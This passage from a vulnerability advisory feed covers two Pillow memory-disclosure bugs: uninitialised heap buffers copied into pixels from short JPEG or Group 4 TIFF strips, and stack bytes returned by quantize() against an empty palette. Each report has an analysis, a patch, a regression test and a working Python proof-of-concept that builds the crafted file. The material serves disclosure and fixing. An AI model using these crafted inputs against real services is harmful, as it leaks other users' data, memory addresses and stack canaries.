Feeding the same file to libtiff 4.5.0 directly confirms the library side:
TIFFReadEncodedStrip(t, 0, buf, 65536) prints
JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.,
returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs
TIFFSetWarningHandler(NULL) (TiffDecode.c:682), so the warning is not visible either.

The strip path:

// src/libImaging/TiffDecode.c:552
    /* realloc to fit whole strip */
    /* malloc check above */
    new_data = realloc(state->buffer, state->bytes);      // state->bytes = TIFFStripSize()
    …
    state->buffer = new_data;

    for (; state->y < state->ysize; state->y += rows_per_strip) {
        …
            if (TIFFReadEncodedStrip(
                    tiff,
                    TIFFComputeStrip(tiff, state->y, plane),
                    (tdata_t)state->buffer,
                    strip_size
                ) == -1) {
                … return -1;
            }
            …
            // iterate over each row in the strip and stuff data into image
            for (strip_row = 0;
                 strip_row < MIN((INT32)rows_per_strip, state->ysize - state->y);
                 strip_row++) {
                …
                shuffler(
                    (UINT8 *)im->image[state->y + state->yoff + strip_row] +
                        state->xoff * im->pixelsize,
                    state->buffer + strip_row * row_byte_size,
                    state->xsize
                );

state->buffer arrives here as the one-row calloc made by decode.c:230
((bits*xsize+7)/8 = 256 bytes for the example). The realloc to 65536 bytes hands back
a different, uninitialised chunk; nothing zeroes it. TIFFReadEncodedStrip() returns the
nominal strip size on success, not the number of rows produced, and the only check is
== -1, so the row loop unconditionally copies 256 rows × 256 bytes into im->image
(which itself is zeroed by core.new, so the garbage provably comes from state->buffer).
_decodeTile() has the same shape (TiffDecode.c:448 realloc to TIFFTileSize(), then
tile_length rows copied after each TIFFReadTile() at 460–488).

For a well-formed file the JPEG inside the strip is 256×256, libtiff fills all 65536 bytes
and the copy is correct. The malicious file differs only in the SOF height of the embedded
JPEG; libtiff treats "JPEG smaller than strip" as a warning, clamps the row count to the
JPEG height, and reports success.

JPEG is not the only libtiff codec that succeeds on a short strip. Fax4Decode
(Compression=4) returns success for a T.6 stream that ends early: a 133-byte 512×256
1-bit TIFF whose strip is the Group 4 stream of a 512×16 image loads without error,
libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer
(Fax4Decode: Warning, Premature EOL at line 16, return value 16384) and the other
15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were
checked and do return -1 on short data, so Pillow raises OSError for those.

The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs",
2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row TIFFReadScanline()
(where libtiff errors on the first missing row) with the whole-strip realloc() and copy.
The tile path has had the same shape since it was added in f0436a4ddc95 (2018-07-02,
Pillow 5.3.0).

Impact

Any application that opens attacker-supplied images with Pillow in the default
configuration and returns something derived from the pixels (thumbnail, preview, format
conversion, OCR text) discloses freed heap memory of the worker process to the uploader:
everything below the rows the embedded JPEG/G4 stream actually encodes, up to
ImageWidth × RowsPerStrip × SamplesPerPixel bytes per strip and tens of MB per image
within the default MAX_IMAGE_PIXELS. load() raises nothing, so the application has no
signal that the image is malformed. What comes back depends on allocator state; in a
long-running web worker it is typically recently freed request bodies, other users'
decoded image buffers and Python object contents. There is no memory corruption; this is
a read of uninitialised (previously used) heap memory, analogous in effect to an
out-of-bounds read that lands in pixels.

Reproducing

repro is a short Python script that runs against the installed Pillow build with
default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally
and once re-executing itself under glibc's MALLOC_PERTURB_=170, and the last line it
prints is BUG or OK.

Input. tiff(jpeg_rows, tiled) builds a little-endian TIFF in memory. The header
declares a 256×256 8-bit greyscale image with Compression=7 (JPEG), either as one strip
(RowsPerStrip=256) or as one 256×256 tile (TileWidth/TileLength). The strip or tile
is a baseline JPEG of 256×jpeg_rows pixels, all value 200, written by Pillow's own JPEG
encoder. For each layout the script builds two files:

  • Control: jpeg_rows=256. This is a well-formed file, and libtiff fills the whole
    64 KiB strip/tile.
  • Crafted: jpeg_rows=8, 478 bytes (strip) or 490 bytes (tile). The only difference
    is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns
    Improper JPEG strip/tile size (Pillow silences the warning) and returns the full
    strip/tile size as success.

Steps. Each file is opened (the script asserts it takes the libtiff decoder). Just
before im.load() the script allocates and frees six 64 KiB bytearrays filled with
b"LEAK", which leaves freed heap chunks about the size of the buffer that
_decodeStrip()/_decodeTile() is about to realloc(). For rows 8–255 it then counts
copies of LEAK and bytes equal to 0x55 (glibc's fresh-malloc fill under
MALLOC_PERTURB_=170). The files contain no LEAK bytes (the script asserts this), so
any copy in the image came from freed heap memory. It reports BUG if a crafted file
shows any LEAK in the normal pass, or rows 8–255 entirely 0x55 in the perturbed pass.

Expected output on this tree:

[normal ] strip well-formed (1222 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[normal ] strip crafted     ( 478 B) rows 8-255: 15872 x b'LEAK',     0/63488 == 0x55, head=b'LEAKLEAK'
[normal ] tiled well-formed (1234 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[normal ] tiled crafted     ( 490 B) rows 8-255: 15872 x b'LEAK',     0/63488 == 0x55, head=b'LEAKLEAK'
[perturb] strip well-formed (1222 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[perturb] strip crafted     ( 478 B) rows 8-255:     0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU'
[perturb] tiled well-formed (1234 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[perturb] tiled crafted     ( 490 B) rows 8-255:     0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU'
BUG

im.load() succeeds for every file. For the crafted files rows 8–255 are the uninitialised
strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8–255
of the crafted files come back as \x00 bytes, with no LEAK and no 0x55, and the
script ends with OK.

The LEAK count depends on where glibc places the buffer (the same freed chunk was reused
in 500 of 500 runs here); the MALLOC_PERTURB_ pass does not. The script covers the JPEG
codec only. The Group 4 variant in the Details section (Compression=4, a T.6 stream that
ends early) goes through the same _decodeStrip() copy, and the same fix covers it.

Suggested fix

The attached patch zeroes state->buffer before each libtiff read in both loops of
src/libImaging/TiffDecode.c — before TIFFReadTile() in _decodeTile() and before
TIFFReadEncodedStrip() in _decodeStrip() — so rows a codec does not produce are
deterministic zeros rather than stale heap:

--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ _decodeTile
             for (x = state->xoff; x < state->xsize; x += tile_width) {
+                memset(state->buffer, 0, state->bytes);
                 if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) {
@@ _decodeStrip
         for (plane = 0; plane < planes; plane++) {
             ImagingShuffler shuffler = unpackers[plane];
+            memset(state->buffer, 0, state->bytes);
             if (TIFFReadEncodedStrip(

A memset per strip/tile (rather than one calloc after the size is known) is needed
because the same buffer is reused for every strip, and a short last strip would otherwise
expose the previous strip's rows — harmless for disclosure, but the per-read memset
keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting
libtiff warnings to errors via a warning handler is not a good alternative: both codecs
only warn (Improper JPEG strip/tile size, Premature EOL), but so do many legitimate
files (unknown tags, bad tag counts), and the return value of TIFFReadEncodedStrip()
carries no row count to check against. Initialising the buffer covers every codec.
_decodeAsRGBA() needs no change: TIFFRGBAImageGet() fills its whole raster, and JPEG
files do not reach it (JPEGCOLORMODE_RGB sends them down the strip path).

Valid files decode exactly as before; rows a codec does not produce are now black instead
of garbage, and nothing that previously loaded now fails. The patch also adds
test_jpeg_short_strip to Tests/test_file_libtiff.py, parametrised over strip and tile,
which builds the 256×8-JPEG-in-256×256 file and asserts rows 8–255 are zero. It is a
regression guard for the fixed code rather than a reliable detector of the bug: in a fresh
pytest process the unfixed strip variant can pass because the new heap chunk happens to be
zero (the tiled variant fails before the fix). With the patch, Tests/test_file_libtiff.py
and Tests/test_file_tiff.py pass and the reproducer prints OK.

The patch

Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap

Applies to src/libImaging/TiffDecode.c at the commit above.

diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..67bc96329 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase):
             im.load()
         assert im.size == (950, 975)
 
+    @pytest.mark.parametrize("tiled", (False, True))
+    def test_jpeg_short_strip(self, tiled: bool) -> None:
+        # The JPEG data in the strip/tile only contains 8 of the 256 rows that
+        # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist
+        # and still reports success, so the remaining rows must be cleared
+        # rather than left as uninitialised memory.
+        jpeg = io.BytesIO()
+        Image.new("L", (256, 8), 200).save(jpeg, "JPEG")
+        jpeg_data = jpeg.getvalue()
+
+        ifd = TiffImagePlugin.ImageFileDirectory_v2()
+        ifd[256] = 256  # ImageWidth
+        ifd[257] = 256  # ImageLength
+        ifd[258] = 8  # BitsPerSample
+        ifd[259] = 7  # Compression: JPEG
+        ifd[262] = 1  # PhotometricInterpretation: BlackIsZero
+        ifd[277] = 1  # SamplesPerPixel
+        if tiled:
+            ifd[322] = 256  # TileWidth
+            ifd[323] = 256  # TileLength
+            ifd[324] = 0  # TileOffsets
+            ifd[325] = len(jpeg_data)  # TileByteCounts
+            # Point the tile data at the end of the IFD
+            ifd[324] = 8 + len(ifd.tobytes(8))
+        else:
+            ifd[278] = 256  # RowsPerStrip
+            ifd[STRIPOFFSETS] = 0  # Updated by tobytes() to follow the IFD
+            ifd[279] = len(jpeg_data)  # StripByteCounts
+
+        b = io.BytesIO()
+        ifd.save(b)
+        b.write(jpeg_data)
+
+        with Image.open(b) as im:
+            assert im.tile[0][0] == "libtiff"
+            im.load()
+            assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200)
+            assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0)
+
     def test_orientation(self) -> None:
         with Image.open("Tests/images/g4_orientation_1.tif") as base_im:
             for i in range(2, 9):
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..d1d6bfbbb 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -457,6 +457,11 @@ _decodeTile(
         for (plane = 0; plane < planes; plane++) {
             ImagingShuffler shuffler = unpackers[plane];
             for (x = state->xoff; x < state->xsize; x += tile_width) {
+                // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes
+                // to fewer rows than the tile length, leaving the rest of the
+                // buffer untouched. Clear it so that uninitialised memory is not
+                // copied into the image.
+                memset(state->buffer, 0, state->bytes);
                 if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) {
                     TRACE(("Decode Error, Tile at %dx%d\n", x, y));
                     state->errcode = IMAGING_CODEC_BROKEN;
@@ -563,6 +568,11 @@ _decodeStrip(
         int plane;
         for (plane = 0; plane < planes; plane++) {
             ImagingShuffler shuffler = unpackers[plane];
+            // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes
+            // to fewer rows than RowsPerStrip, leaving the rest of the buffer
+            // untouched. Clear it so that uninitialised memory is not copied
+            // into the image.
+            memset(state->buffer, 0, state->bytes);
             if (TIFFReadEncodedStrip(
                     tiff,
                     TIFFComputeStrip(tiff, state->y, plane),
The reproducer
Reproducer — repro, 2,688 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### Pillow TiffDecode.c _decodeStrip/_decodeTile: strip/tile buffer is realloc()ed, never

##### initialised, and copied whole into the image even when libtiff's JPEG codec decoded
##### fewer rows than RowsPerStrip/TileLength.  Two independent signals:

#####  pass 1 (normal heap): seed freed 64 KiB chunks with b"LEAK" just before load() and
#####         count copies of LEAK in the decoded pixels (file contains no such bytes);

#####  pass 2 (same script re-run under glibc MALLOC_PERTURB_=170): fresh malloc memory is
#####         0x55, so rows that come back all-0x55 are provably uninitialised heap.
import gc, io, os, struct, subprocess, sys
from PIL import Image
W = H = 256; ROWS = 8
perturbed = os.environ.get("MALLOC_PERTURB_") == "170"
if not perturbed:
    print("Pillow", Image.__version__, Image.core.__file__)

def tiff(jpeg_rows, tiled):
    j = io.BytesIO(); Image.new("L", (W, jpeg_rows), 200).save(j, "JPEG"); j = j.getvalue()
    tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)]
    tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else
             [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))])
    tags.sort(); off = 8 + 2 + 12*len(tags) + 4
    tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags]
    ifd = struct.pack("<H", len(tags)) + b"".join(struct.pack("<HHLL", *t) for t in tags)
    return b"II*\0" + struct.pack("<L", 8) + ifd + struct.pack("<L", 0) + j

bug = False
for tiled in (False, True):
    for jpeg_rows, label in ((H, "well-formed"), (ROWS, "crafted")):
        data = tiff(jpeg_rows, tiled); assert b"LEAK" not in data
        im = Image.open(io.BytesIO(data)); assert im.tile[0][0] == "libtiff"
        junk = [bytearray(b"LEAK" * (W*H//4)) for _ in range(6)]; del junk; gc.collect()
        im.load()                                   # no exception for either file
        below = im.tobytes()[W*ROWS:]
        n55, nleak = below.count(0x55), below.count(b"LEAK")
        print(f"[{'perturb' if perturbed else 'normal '}] {'tiled' if tiled else 'strip'} "
              f"{label:11s} ({len(data):4d} B) rows {ROWS}-{H-1}: {nleak:5d} x b'LEAK', "
              f"{n55:5d}/{len(below)} == 0x55, head={below[:8]!r}")
        if jpeg_rows == ROWS and (nleak > 0 or (perturbed and n55 == len(below))):
            bug = True
if not perturbed:
    r = subprocess.run([sys.executable, sys.argv[0]], env={**os.environ, "MALLOC_PERTURB_": "170"},
                       capture_output=True, text=True)
    lines = r.stdout.rstrip().split("\n")
    print("\n".join(lines[:-1])); sys.stderr.write(r.stderr)
    bug = bug or lines[-1] == "BUG"
print("BUG" if bug else "OK")

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Image.quantize() with empty palette leaks uninitialized stack memory

BIT-pillow-2026-112898 / CVE-2026-112898 / GHSA-rfgq-q3w2-pmv2

More information

Details

============================================================================
Image.quantize() with empty palette leaks uninitialized stack memory
Location: src/libImaging/Palette.c:216  in ImagingPaletteCacheUpdate()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

When an application lets a user supply the palette image for Pillow's Image.quantize(palette=...), the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.

The bug is in ImagingPaletteCacheUpdate() in src/libImaging/Palette.c. It fills a local UINT8 c[512] only inside loops bounded by palette->size. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. topalette() in src/libImaging/Convert.c then emits the cached values as output pixel indices. topalette() rejects a NULL palette but not one with size == 0. Three inputs produce such a zero-entry "P" image: a PNG with a zero-length PLTE chunk opened with Image.open(), a colour-mapped TGA with colour-map length 0, or a bare Image.new("P", ...). The attacker must control the palette image; the source image can be anything, and RGB sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own [stack] mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit 54cb09d8b48c (first released in 9.1.0). The Image.new("P", ...) route exists since 10.1.0.

Details

ImagingPaletteCacheUpdate() (src/libImaging/Palette.c:154) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local UINT8 c[512] and then copies c[] into the cache. c[] is only ever written inside for (i = 0; i < palette->size; i++). When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and topalette() (src/libImaging/Convert.c:1145) emits them as the output pixels of Image.quantize(palette=...). The root cause is that topalette() only rejects a NULL palette, never one with palette->size == 0, while ImagingPaletteCacheUpdate() silently assumes size >= 1. A zero-entry "P" image is what Image.open() produces for a PNG whose PLTE chunk has length 0 (or a colour-mapped TGA with colour-map length 0); Image.new("P", size) without a subsequent putpalette() yields one as well. Both dither modes (Dither.NONE and the default Floyd-Steinberg) are affected for RGB sources (an L source takes the grayscale copy path and never consults the cache).

Showing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length PLTE and an all-zero IDAT:

89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c
00000000 504c5445 4ba88955
0000000b 49444154 789c6360c0040000140001 7dfe1eee
00000000 49454e44 ae426082
pal = Image.open(io.BytesIO(png)); pal.load()      # pal.mode == "P", pal.im.getpalette("RGB") == b""
src = Image.new("RGB", (512, 1))
src.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])
out = src.quantize(palette=pal, dither=Image.Dither.NONE)
out.tobytes()        # 512 bytes, different in every process

The 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for r,g,b ∈ [0,32), in slot order, so out.tobytes() is exactly c[0..511]. Read as 64 little-endian 8-byte words and resolved against the same process's /proc/self/maps, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in [stack], several in [heap], libc.so.6, libpython3.12.so and _imaging.cpython-312-x86_64-linux-gnu.so — and 3 words equal to the thread's stack-protector canary (read from fs:0x28 for comparison). The same PNG with a 3-byte PLTE (one entry) gives 512 zero bytes in every run. out.save(buf, "PNG") succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a strip --strip-debug copy of _imaging.so or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate. With Dither.NONE topalette only copies the bytes, so the first use of uninitialised value is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside topalette (inlined into ImagingConvert), where the cached index is used to address palette->palette.

Code path

File → empty C palette. PngImagePlugin.chunk_PLTE (src/PIL/PngImagePlugin.py:499-505) stores the chunk payload whatever its length, _open wraps it as ImagePalette.raw("RGB", b"") (:836-838), and Image.load() realises it with self.im.putpalette("RGB", "RGB", b"") (src/PIL/Image.py:989-990). _putpalette (src/_imaging.c:1850-1868) rejects only more than 256 entries and sets palette->size = palettesize * 8 / bits, i.e. 0. TgaImagePlugin._open (src/PIL/TgaImagePlugin.py:121-135) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.

API → sink. Image.quantize(palette=pal) (src/PIL/Image.py:1329-1338) checks only palette.mode == "P" and calls self.im.convert("P", dither, palette.im) → ImagingConvert → topalette(..., inpalette=<that palette>, dither). topalette tests the palette for NULL (Convert.c:1162, :1178) but not for size == 0, allocates the cache (every slot 0x100 = "not computed"), and for each source pixel:

// src/libImaging/Convert.c:1319-1327  (non-dither path; the dither path at 1252-1265 is the same)
                    cache = &ImagingPaletteCache(palette, r, g, b);
                    if (cache[0] == 0x100) {
                        ImagingPaletteCacheUpdate(palette, r, g, b);
                    }
                    …
                        out[x] = (UINT8)cache[0];

Inside ImagingPaletteCacheUpdate the only store to c[] is in step 2, and both step 1 and step 2 iterate over palette entries:

// src/libImaging/Palette.c:160-161
    unsigned int d[BOXVOLUME];
    UINT8 c[BOXVOLUME];
…
// src/libImaging/Palette.c:212-221, 240-242
    for (i = 0; i < BOXVOLUME; i++) {
        d[i] = (unsigned int)~0;          /* d[] is initialised, c[] is not */
    }
    for (i = 0; i < palette->size; i++) { /* size == 0: body never runs */
        if (dmin[i] <= dmax) {
            …
                        if ((unsigned int)bd < d[j]) {
                            d[j] = bd;
                            c[j] = (UINT8)i;
                        }

For any non-empty palette every slot is written: the entry that produced dmax passes dmin[i] <= dmax, and because d[j] starts at ~0 the first visiting entry always stores into c[j]. With size == 0 the loop is skipped entirely and step 3 publishes the raw stack array:

// src/libImaging/Palette.c:262-266
    j = 0;
    for (r = r0; r < r1; r += 4) {
        for (g = g0; g < g1; g += 4) {
            for (b = b0; b < b1; b += 4) {
                ImagingPaletteCache(palette, r, g, b) = c[j++];

cache[0] is then ≤ 255 and palette->palette is a fixed 1024-byte array, so the subsequent palette->palette[cache[0] * 4] reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive ImagingPaletteCacheUpdate invocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.

The behaviour was introduced in 54cb09d8b48c ("When converting to P, restrict colors to palette size", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The Image.new("P", ...) route additionally depends on fd310512b95a ("Set C palette to be empty by default", first in 10.1.0); before that a fresh "P" image carried a 256-entry grey ramp.

Impact

An application that lets a user supply the reference palette image for Image.quantize(palette=...) — palette-swap / "apply this palette" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and _imaging.so, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the palette image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.

Reproducing

repro is a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s.

  1. png_with_plte() builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a given PLTE payload. With an empty payload it produces exactly the 80-byte file shown above.
  2. quantize_against() does what an "apply this palette" feature does: it opens the PNG with Image.open() and calls quantize(palette=pal, dither=Image.Dither.NONE) on a 512×1 RGB strip. The strip holds the colours (r*4, g*4, b*4) for r, g, b in 0..7, one for each slot of the colour-cache box r, g, b ∈ [0,32) and in slot order. That makes output pixel j exactly c[j] of ImagingPaletteCacheUpdate().
  3. Control: a one-entry PLTE. The only valid index is 0, and every output pixel is 0.
  4. Attack: the same PNG with a zero-length PLTE. quantize() returns an image without complaint, and its pixels contain about 80 distinct values.
  5. Check: the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the [stack] range in the script's own /proc/self/maps. It prints each word that points into the stack. A typical run finds 8, e.g. pixels 0..7 = 0x00007ffd959c3fa0 <- pointer into [stack]. Pixel data can only hold stack addresses if it was copied from the stack.

The script prints BUG if the control is all zeros and at least two output words are stack addresses. It prints OK if quantize() rejects the empty palette with ValueError, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints attack (empty PLTE): rejected: empty palette / OK. With only the Palette.c half of the patch, the output is 512 zero bytes and it prints OK.

Suggested fix

The attached patch rejects an empty palette in topalette() before any work is done, with ValueError("empty palette") in the same idiom as the neighbouring "no palette" / "conversion not supported" checks, so Image.quantize() raises a normal ValueError. It also zero-fills c[] alongside d[] in ImagingPaletteCacheUpdate() so no present or future caller can copy stack contents into the cache, and adds a regression test test_empty_palette to Tests/test_image_quantize.py. quantize(palette=) is the only path that hands a caller-supplied palette to topalette(); the NULL-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare Image.new("P", ...)) now raises instead of returning garbage indices. The C changes:

--- a/src/libImaging/Convert.c
+++ b/src/libImaging/Convert.c
@@ -1159,6 +1159,10 @@ topalette(
 
     alpha = mode == IMAGING_MODE_PA;
 
+    if (palette != NULL && palette->size <= 0) {
+        return (Imaging)ImagingError_ValueError("empty palette");
+    }
+
     if (palette == NULL) {
         /* FIXME: make user configurable */
         if (imIn->bands == 1) {
--- a/src/libImaging/Palette.c
+++ b/src/libImaging/Palette.c
@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {
 
     for (i = 0; i < BOXVOLUME; i++) {
         d[i] = (unsigned int)~0;
+        c[i] = 0;
     }
 
     for (i = 0; i < palette->size; i++) {

Applied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with ValueError: empty palette and the script prints OK; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in src/PIL. Optionally PngImagePlugin.chunk_PLTE could additionally raise SyntaxError for a PLTE whose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, and Image.quantize() could raise a clearer Python-level error when palette.palette is empty.

The patch

Raise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()

Applies to src/libImaging/Convert.c at the commit above.

diff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py
index 887628560..dcd1d901e 100644
--- a/Tests/test_image_quantize.py
+++ b/Tests/test_image_quantize.py
@@ -179,3 +179,13 @@ def test_small_palette() -> None:
     quantized_colors = im.getcolors()
     assert quantized_colors is not None
     assert len(quantized_colors) == 2
+
+
+def test_empty_palette() -> None:
+    im = hopper()
+
+    p = Image.new("P", (1, 1))
+    p.putpalette(b"")
+
+    with pytest.raises(ValueError):
+        im.quantize(palette=p)
diff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c
index 4a35a9a1f..7746d9255 100644
--- a/src/libImaging/Convert.c
+++ b/src/libImaging/Convert.c
@@ -1159,6 +1159,10 @@ topalette(
 
     alpha = mode == IMAGING_MODE_PA;
 
+    if (palette != NULL && palette->size <= 0) {
+        return (Imaging)ImagingError_ValueError("empty palette");
+    }
+
     if (palette == NULL) {
         /* FIXME: make user configurable */
         if (imIn->bands == 1) {
diff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c
index b2dacf656..ceb69d3dc 100644
--- a/src/libImaging/Palette.c
+++ b/src/libImaging/Palette.c
@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {
 
     for (i = 0; i < BOXVOLUME; i++) {
         d[i] = (unsigned int)~0;
+        c[i] = 0;
     }
 
     for (i = 0; i < palette->size; i++) {
The reproducer
Reproducer — repro, 2,975 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.


#!/usr/bin/env python3
##### Pillow: Image.quantize(palette=<P image with an empty palette>) returns

##### uninitialised C stack bytes as pixel values.
#

##### ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local
##### UINT8 c[512] inside `for (i = 0; i < palette->size; i++)`. A PNG with a

##### zero-length PLTE chunk gives palette->size == 0, so c[] is never written and
##### its raw stack contents are copied into the colour cache, which topalette()

##### (src/libImaging/Convert.c) then emits as the output pixels.
import io
import struct
import zlib

from PIL import Image

def png_with_plte(plte):
    """A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`."""
    def chunk(tag, data):
        return (struct.pack(">I", len(data)) + tag + data
                + struct.pack(">I", zlib.crc32(tag + data)))
    ihdr = struct.pack(">IIBBBBB", 4, 4, 8, 3, 0, 0, 0)
    pixels = zlib.compress(b"\x00" * 4 * 5)
    return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"PLTE", plte)
            + chunk(b"IDAT", pixels) + chunk(b"IEND", b""))

def quantize_against(palette_png):
    """What an "apply this palette" feature does with an uploaded palette image."""
    pal = Image.open(io.BytesIO(palette_png))
    # 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot
    # order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate().
    src = Image.new("RGB", (512, 1))
    src.putdata([(r * 4, g * 4, b * 4)
                 for r in range(8) for g in range(8) for b in range(8)])
    return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()

def stack_range():
    for line in open("/proc/self/maps"):
        if line.rstrip().endswith("[stack]"):
            lo, hi = line.split()[0].split("-")
            return int(lo, 16), int(hi, 16)

##### Control: a one-entry palette -- every pixel must map to index 0.
control = quantize_against(png_with_plte(b"\x10\x20\x30"))
print(f"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}")

##### Attack: the same PNG with an empty PLTE chunk (80 bytes).
try:
    leaked = quantize_against(png_with_plte(b""))
except ValueError as e:
    print(f"attack (empty PLTE): rejected: {e}")
    print("OK")
    raise SystemExit

print(f"attack  (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:")
print(f"  {leaked[:64].hex()}")

##### Read the 512 pixel bytes as 64 little-endian words; any word that is an

##### address inside this process's own stack can only have come from the stack.
lo, hi = stack_range()
print(f"this process's [stack] mapping: {lo:#x}-{hi:#x}")
stack_ptrs = 0
for i in range(0, 512, 8):
    word = int.from_bytes(leaked[i:i + 8], "little")
    if lo <= word < hi:
        stack_ptrs += 1
        print(f"  pixels {i:3d}..{i + 7:3d} = {word:#&#8203;018x}  <- pointer into [stack]")

print(f"{stack_ptrs} of 64 words of the output image are stack addresses")
print("BUG" if set(control) == {0} and stack_ptrs >= 2 else "OK")

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

